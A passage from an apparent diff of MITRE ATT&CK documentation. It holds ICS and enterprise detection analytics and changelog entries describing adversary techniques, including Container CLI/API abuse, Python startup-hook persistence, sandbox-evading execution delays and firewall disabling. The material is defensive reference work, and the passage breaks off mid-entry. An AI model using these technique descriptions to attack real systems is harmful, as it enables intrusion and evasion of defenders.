Monitor for unexpected changes to project files, although if the malicious modification occurs in tandem with legitimate changes it will be difficult to isolate the unintended changes by analyzing only file systems modifications.


[AN1899] Analytic 1899

Current version: 1.0

Description:

Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash, which may be recorded in the application log. +Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads.


[AN1900] Analytic 1900

Current version: 1.0

Description:

Monitor ICS automation network protocols for functions related to reading an asset’s operating mode. In some cases, there may be multiple ways to detect a device’s operating mode, one of which is typically used in the operational environment. Monitor for the operating mode being checked in unexpected ways.


[AN1901] Analytic 1901

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1902] Analytic 1902

Current version: 1.0

Description:

Monitor executed commands and arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Also monitor executed commands and arguments that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. +Monitor for executed processes (such as ipconfig/ifconfig and arp) with arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses. Also monitor for executed processes that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. +Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Monitor for API calls (such as GetAdaptersInfo() and GetIpNetTable()) that may gather details about the network configuration and settings, such as IP and/or MAC addresses. Also monitor for API calls that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. For added context on adversary procedures and background see System Network Configuration Discovery and System Network Connections Discovery.


[AN1903] Analytic 1903

Current version: 1.0

Description:

Monitor for device alarms produced when device management passwords are changed, although not all devices will produce such alarms. +Monitor for device credential changes observable in automation or management network protocols.


[AN1904] Analytic 1904

Current version: 1.0

Description:

Monitor for newly executed processes related to services specifically designed to accept remote graphical connections, such as RDP and VNC. Remote Services and Valid Accounts may be used to access a host’s GUI. +Monitor executed commands and arguments related to services specifically designed to accept remote graphical connections, such as RDP and VNC. Remote Services and Valid Accounts may be used to access a host’s GUI. +Monitor DLL file events, specifically creation of these binary files as well as the loading of DLLs into processes associated with remote graphical connections, such as RDP and VNC. Remote Services may be used to access a host’s GUI. +Monitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Remote Services may be used to access a host’s GUI.


[AN1905] Analytic 1905

Current version: 1.0

Description:

A manipulated I/O image requires analyzing the application program running on the PLC for specific data block writes. Detecting this requires obtaining and analyzing a PLC’s application program, either directly from the device or from asset management platforms.


[AN1906] Analytic 1906

Current version: 1.0

Description:

Collecting information from the I/O image requires analyzing the application program running on the PLC for specific data block reads. Detecting this requires obtaining and analyzing a PLC’s application program, either directly from the device or from asset management platforms.


[AN1907] Analytic 1907

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1908] Analytic 1908

Current version: 1.0

Description:

Monitor asset management systems for device configuration changes which can be used to understand expected parameter settings. +Monitor device application logs parameter changes, although not all devices will produce such logs. +Monitor for device alarms produced when parameters are changed, although not all devices will produce such alarms. +Monitor ICS management protocols for parameter changes, including for unexpected values, changes far exceeding standard values, or for parameters being changed in an unexpected way (e.g., via a new function, at an unusual time).


[AN1909] Analytic 1909

Current version: 1.0

Description:

Monitor ICS asset application logs that indicate alarm settings have changed, although not all assets will produce such logs. +Consult asset management systems to understand expected alarm settings. +Data about the industrial process may indicate it is operating outside of expected bounds and could help indicate that that an alarm setting has changed. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for alarm setting changes observable in automation or management network protocols.


[AN1910] Analytic 1910

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1911] Analytic 1911

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1912] Analytic 1912

Current version: 1.0

Description:

Monitor for changes made to firmware for unexpected modifications to settings and/or data that may be used by rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Asset management systems should be consulted to understand known-good firmware versions and configurations.


[AN1913] Analytic 1913

Current version: 1.0

Description:

Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) For added context on adversary procedures and background see Spearphishing Attachment. +Monitor for newly constructed files from a spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. +Monitor network traffic for suspicious email attachments. Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Use web proxies to review content of emails including sender information, headers, and attachments for potentially malicious content. +Monitor mail server and proxy logs for evidence of messages originating from spoofed addresses, including records indicating failed DKIM+SPF validation or mismatched message headers.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer.


[AN1914] Analytic 1914

Current version: 1.0

Description:

Monitor for unusual network traffic that may indicate additional tools transferred to the system. Use network intrusion detection systems, sometimes with SSL/TLS inspection, to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. +Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. +Monitor for behaviors on the endpoint system that might indicate successful compromise, such as abnormal behaviors of browser processes. This could include suspicious files written to disk. +Monitor for newly constructed files written to disk through a user visiting a website over the normal course of browsing. +Monitor for newly constructed network connections to untrusted hosts that are used to send or receive data.


[AN1915] Analytic 1915

Current version: 1.0

Description:

Monitor device management protocols for functions that modify programs such as online edit and program append events. +Monitor device alarms that indicate the program has changed, although not all devices produce such alarms. +Engineering and asset management software will often maintain a copy of the expected program loaded on a controller and may also record any changes made to controller programs. Data from these platforms can be used to identify modified controller programs. +Monitor device application logs that indicate the program has changed, although not all devices produce such logs.


[AN1916] Analytic 1916

Current version: 1.0

Description:

Monitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications. +Monitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor application logs for changes to settings and other events associated with network protocols that may be used to block communications. +Monitor for a loss of network communications, which may indicate this technique is being used. +Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if command messages are blocked.


[AN1917] Analytic 1917

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1918] Analytic 1918

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1919] Analytic 1919

Current version: 1.0

Description:

Monitor for new ICS protocol connections to existing assets or for device scanning (i.e., a host connecting to many devices) over ICS and enterprise protocols (e.g., ICMP, DCOM, WinRM). +Monitor for anomalies related to discovery related ICS functions, including devices that have not previously used these functions or for functions being sent to many outstations. Note that some ICS protocols use broadcast or multicast functionality, which may produce false positives. Also monitor for hosts enumerating network connected resources using non-ICS enterprise protocols. +Monitor for files (such as /etc/hosts) being accessed that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. +Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) Consider monitoring for new processes engaging in scanning activity or connecting to multiple systems by correlating process creation network data.


[AN1920] Analytic 1920

Current version: 1.0

Description:

Monitor ICS automation protocols for anomalies related to reading point or tag data, such as new assets using these functions, changes in volume or timing, or unusual information being queried. Many protocols provide multiple ways to achieve the same result (e.g., functions with/without an acknowledgment or functions that operate on a single point vs. multiple points). Monitor for changes in the functions used. +Monitor asset application logs which may provide information about requests for points or tags. Look for anomalies related to reading point or tag data, such as new assets using these functions, changes in volume or timing, or unusual information being queried. Many devices provide multiple ways to achieve the same result (e.g., functions with/without an acknowledgment or functions that operate on a single point vs. multiple points). Monitor for changes in the functions used.


[AN1921] Analytic 1921

Current version: 1.0

Description:

Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if reporting messages are blocked.
+Monitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications. +Monitor application logs for changes to settings and other events associated with network protocols that may be used to block communications. +Monitor for a loss of network communications, which may indicate this technique is being used. +Monitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.


[AN1922] Analytic 1922

Current version: 1.0

Description:

Monitor for firmware changes which may be observable via operational alarms from devices. +Monitor device application logs for firmware changes, although not all devices will produce such logs. +Monitor ICS management protocols / file transfer protocols for protocol functions related to firmware changes. +Monitor firmware for unexpected changes. Asset management systems should be consulted to understand known-good firmware versions. Dump and inspect BIOS images on vulnerable systems and compare against known good images.(Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.(Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)


[AN1923] Analytic 1923

Current version: 1.0

Description:

Monitor for newly executed processes that depend on user interaction, especially for applications that can embed programmatic capabilities (e.g., Microsoft Office products with scripts, installers, zip files). This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads. For added context on adversary procedures and background see User Execution and applicable sub-techniques. +Monitor for application logging, messaging, and/or other artifacts that may rely upon specific actions by a user in order to gain execution. +Monitor for newly constructed web-based network connections that are sent to malicious or suspicious destinations (e.g., destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g., monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, SCF, HTA, MSI, DLLs, or msiexec.exe). +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning PowerShell). +Monitor for newly executed processes that depend on user interaction, especially for applications that can embed programmatic capabilities (e.g., Microsoft Office products with scripts, installers, zip files). This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads. +Monitor and analyze traffic patterns and packet inspection associated with web-based network connections that are sent to malicious or suspicious destinations (e.g., destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g., monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, SCF, HTA, MSI, DLLs, or msiexec.exe).


[AN1924] Analytic 1924

Current version: 1.0

Description:

Consult asset management systems which may help with the detection of computer systems or network devices that should not exist on a network. +Monitor for network traffic originating from unknown/unexpected devices or addresses. Local network traffic metadata could be used to identify unexpected connections, including unknown/unexpected source MAC addresses connecting to ports associated with operational protocols. Also, network management protocols such as DHCP and ARP may be helpful in identifying unexpected devices. +Monitor for new master devices communicating with outstations, which may be visible in alarms within the ICS environment. +Monitor for unexpected ICS protocol functions from new and existing devices. Monitoring known devices requires ICS function level insight to determine if an unauthorized device is issuing commands (e.g., a historian). +Monitor for new master devices communicating with outstation assets, which may be visible in asset application logs.


[AN1925] Analytic 1925

Current version: 1.0

Description:

Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Monitor executed commands and associated arguments for application programs which support executing custom code, scripts, commands, or executables. +Monitor for unusual processes execution, especially for processes that allow the proxy execution of malicious files.


[AN1926] Analytic 1926

Current version: 1.0

Description:

Monitor industrial process history data for events that correspond with command message functions, such as setpoint modification or changes to system status for key devices. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for anomalous or unexpected commands that may result in changes to the process operation (e.g., discrete write, logic and device configuration, mode changes) observable via asset application logs. +Monitor for new or unexpected connections to controllers, which could indicate an Unauthorized Command Message being sent via Rogue Master. +Monitor for anomalous or unexpected commands that may result in changes to the process operation (e.g., discrete write, logic and device configuration, mode changes) observable via asset application logs. +Monitor for unexpected ICS protocol command functions to controllers from existing master devices (including from new processes) or from new devices. The latter is like detection for Rogue Master but requires ICS function level insight to determine if an unauthorized device is issuing commands (e.g., a historian).

+

Monitoring for unexpected or problematic values below the function level will provide better insights into potentially malicious activity but at the cost of additional false positives depending on the underlying operational process.


[AN1927] Analytic 1927

Current version: 1.0

Description:

Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.


[AN1928] Analytic 1928

Current version: 1.0

Description:

Monitor logon activity for unexpected or unusual access to devices from the Internet. +Monitor for unexpected protocols to/from the Internet. While network traffic content and logon session metadata may directly identify a login event, new Internet-based network flows may also be a reliable indicator of this technique. +Monitor for unusual logins to Internet connected devices or unexpected protocols to/from the Internet. Network traffic content will provide valuable context and details about the content of network flows.


[AN1929] Analytic 1929

Current version: 1.0

Description:

Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if messages over serial COM ports are blocked. +Monitor for a loss of network communications, which may indicate this technique is being used. +Monitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor application logs for changes to settings and other events associated with network protocols that may be used to block communications. +Monitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications.


[AN1930] Analytic 1930

Current version: 1.0

Description:

Monitor network traffic for hardcoded credential use in protocols that allow unencrypted authentication. +Monitor logon sessions for hardcoded credential use, when feasible.


[AN1931] Analytic 1931

Current version: 1.0

Description:

Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows , or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).


[AN1932] Analytic 1932

Current version: 1.0

Description:

Monitor for newly executed processes that can aid in sniffing network traffic to capture information about an environment. +Monitor executed commands and arguments for actions that aid in sniffing network traffic to capture information about an environment.


[AN1933] Analytic 1933

Current version: 1.0

Description:

Monitor for a loss of network communications, which may indicate a device has been shutdown or restarted. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Device restarts and shutdowns may be observable in device application logs. Monitor for unexpected device restarts or shutdowns. +Devices may produce alarms about restarts or shutdowns. Monitor for unexpected device restarts or shutdowns. +Monitor ICS automation protocols for functions that restart or shutdown a device. Commands to restart or shutdown devices may also be observable in traditional IT management protocols.


[AN1934] Analytic 1934

Current version: 1.0

Description:

Monitor ICS automation network protocols for information that an asset has been placed into Firmware Update Mode. +Monitor device alarms that indicate the devices has been placed into Firmware Update Mode, although not all devices produce such alarms. +Monitor asset log which may provide information that an asset has been placed into Firmware Update Mode. Some assets may log firmware updates themselves without logging that the device has been placed into update mode.


[AN1935] Analytic 1935

Current version: 1.0

Description:

Monitor for network traffic originating from unknown/unexpected systems. +Monitor authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours, including use of Valid Accounts. +When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.


[AN1936] Analytic 1936

Current version: 1.0

Description:

Monitor network data for uncommon data flows (e.g., time of day, unusual source/destination address) that may be related to abuse of Valid Accounts to log into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. +Monitor DLL file events, specifically creation of these files as well as the loading of DLLs into processes specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. +Monitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. For added context on adversary procedures and background see Remote Services and applicable sub-techniques. +Monitor for newly executed processes related to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may use Valid Accounts to login and may perform follow-on actions that spawn additional processes as the user. +Monitor executed commands and arguments to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may then perform these actions using Valid Accounts. +Monitor for newly constructed network connections into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. Monitor network connections involving common remote management protocols, such as ports tcp:3283 and tcp:5900, as well as ports tcp:3389 and tcp:22 for remote logins. The adversary may use Valid Accounts to enable remote logins. +Monitor interactions with network shares, such as reads or file transfers, using remote services such as Server Message Block (SMB). For added context on adversary procedures and background see Remote Services and applicable sub-techniques.

+ + + \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v17.1-v18.0/changelog.json b/modules/resources/docs/changelogs/v17.1-v18.0/changelog.json new file mode 100644 index 00000000000..902e6b8b574 --- /dev/null +++ b/modules/resources/docs/changelogs/v17.1-v18.0/changelog.json @@ -0,0 +1,246222 @@ +{ + "enterprise-attack": { + "techniques": { + "additions": [ + { + "type": "attack-pattern", + "id": "attack-pattern--c283d88f-8c23-4318-9da5-3d50cecad756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-15 21:41:27.262000+00:00", + "modified": "2025-10-21 23:52:40.200000+00:00", + "name": "Container CLI/API", + "description": "Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.\n\nThe Docker CLI is used for managing containers via an exposed API point from the `dockerd` daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.(Citation: Docker Desktop CLI)\n\nAdversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Build Image on Host](https://attack.mitre.org/techniques/T1612)), run containers (i.e., [Deploy Container](https://attack.mitre.org/techniques/T1610)), or execute commands inside running containers (i.e., [Container Administration Command](https://attack.mitre.org/techniques/T1609)). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads.(Citation: Intezer) Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., [Container and Resource Discovery](https://attack.mitre.org/techniques/T1613)).(Citation: Cisco Talos Blog)(Citation: aquasec)\n\nKubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars.(Citation: aquasec) They may also run various commands regarding resource management.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/013", + "external_id": "T1059.013" + }, + { + "source_name": "Docker Desktop CLI", + "description": "dockerdocs. (n.d.). Use the Docker Desktop CLI. Retrieved October 21, 2025.", + "url": "https://docs.docker.com/desktop/features/desktop-cli/" + }, + { + "source_name": "Cisco Talos Blog", + "description": "Jaeson Schultz, Darin Smith. (2022, April 21). TeamTNT Targeting AWS, Alibaba. Retrieved June 15, 2025.", + "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/" + }, + { + "source_name": "Intezer", + "description": "Nicole Fishbein. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved June 15, 2025.", + "url": "https://intezer.com/blog/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/" + }, + { + "source_name": "aquasec", + "description": "Ofek Itach, Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved June 15, 2025.", + "url": "https://www.aquasec.com/blog/teamtnt-reemerged-with-new-aggressive-cloud-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--248d3fe1-7fe1-4d71-91c7-8bb7ef35cad3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-05-22 19:02:46.718000+00:00", + "modified": "2025-10-21 23:54:04.429000+00:00", + "name": "Databases", + "description": "Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments). \n\nExamples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for [Lateral Movement](https://attack.mitre.org/tactics/TA0008), [Command and Control](https://attack.mitre.org/tactics/TA0011), or [Exfiltration](https://attack.mitre.org/tactics/TA0010). Data exfiltrated from databases may also be used to extort victims or may be sold for profit.(Citation: Google Cloud Threat Intelligence UNC5537 Snowflake 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/006", + "external_id": "T1213.006" + }, + { + "source_name": "Google Cloud Threat Intelligence UNC5537 Snowflake 2024", + "description": "Mandiant. (2024, June 10). UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion. Retrieved May 22, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "IaaS", + "SaaS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a1df809c-7d0e-459f-8fe5-25474bab770b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-24 18:03:15.021000+00:00", + "modified": "2025-10-21 23:58:09.956000+00:00", + "name": "Delay Execution", + "description": "Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems. \n\nAdversaries may utilize programmatic `sleep` commands or native system scheduling functionality, for example [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053). Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as `ping`, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1678", + "external_id": "T1678" + }, + { + "source_name": "Joe Sec Nymaim", + "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.", + "url": "https://www.joesecurity.org/blog/3660886847485093803" + }, + { + "source_name": "Joe Sec Trickbot", + "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", + "url": "https://www.joesecurity.org/blog/498839998833561473" + }, + { + "source_name": "Revil Independence Day", + "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.", + "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/" + }, + { + "source_name": "Netskope Nitol", + "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.", + "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Deloitte Threat Library Team", + "Jeff Felling, Red Canary", + "Jorge Orchilles, SCYTHE", + "Ruben Dodge, @shotgunner101" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c5087385-9b7c-4488-9923-d9e370bf08df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-05-22 19:20:46.740000+00:00", + "modified": "2025-10-21 02:35:20.850000+00:00", + "name": "Python Startup Hooks", + "description": "Adversaries may achieve persistence by leveraging Python\u2019s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.(Citation: Volexity GlobalProtect CVE 2024)\n\nPath configuration files are designed to extend Python\u2019s module search paths through the use of import statements. If a `.pth` file is placed in Python's `site-packages` or `dist-packages` directories, any lines beginning with `import` will be executed automatically on Python invocation.(Citation: DFIR Python Persistence 2025) Similarly, if `sitecustomize.py` or `usercustomize.py` is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.(Citation: Python Site Configuration Hook)\n\nAdversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/018", + "external_id": "T1546.018" + }, + { + "source_name": "Python Site Configuration Hook", + "description": "Python. (n.d.). site \u2014 Site-specific configuration hook. Retrieved May 22, 2025.", + "url": "https://docs.python.org/3/library/site.html" + }, + { + "source_name": "DFIR Python Persistence 2025", + "description": "Stephan Berger. (2025, January 14). Analysis of Python's .pth files as a persistence mechanism. Retrieved May 22, 2025.", + "url": "https://dfir.ch/posts/publish_python_pth_extension/" + }, + { + "source_name": "Volexity GlobalProtect CVE 2024", + "description": "Volexity Threat Research. (2024, April 12). Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400). Retrieved May 22, 2025.", + "url": "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Ruben Groenewoud (@RFGroenewoud)", + "Pyae Heinn Kyaw, CSIRT @ Salesforce" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a0f84e1d-d25c-4dd1-bb26-3c0e68471530", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-22 18:31:06.483000+00:00", + "modified": "2025-10-22 00:01:58.079000+00:00", + "name": "Disable or Modify Network Device Firewall", + "description": "Adversaries may disable network device-based firewall mechanisms 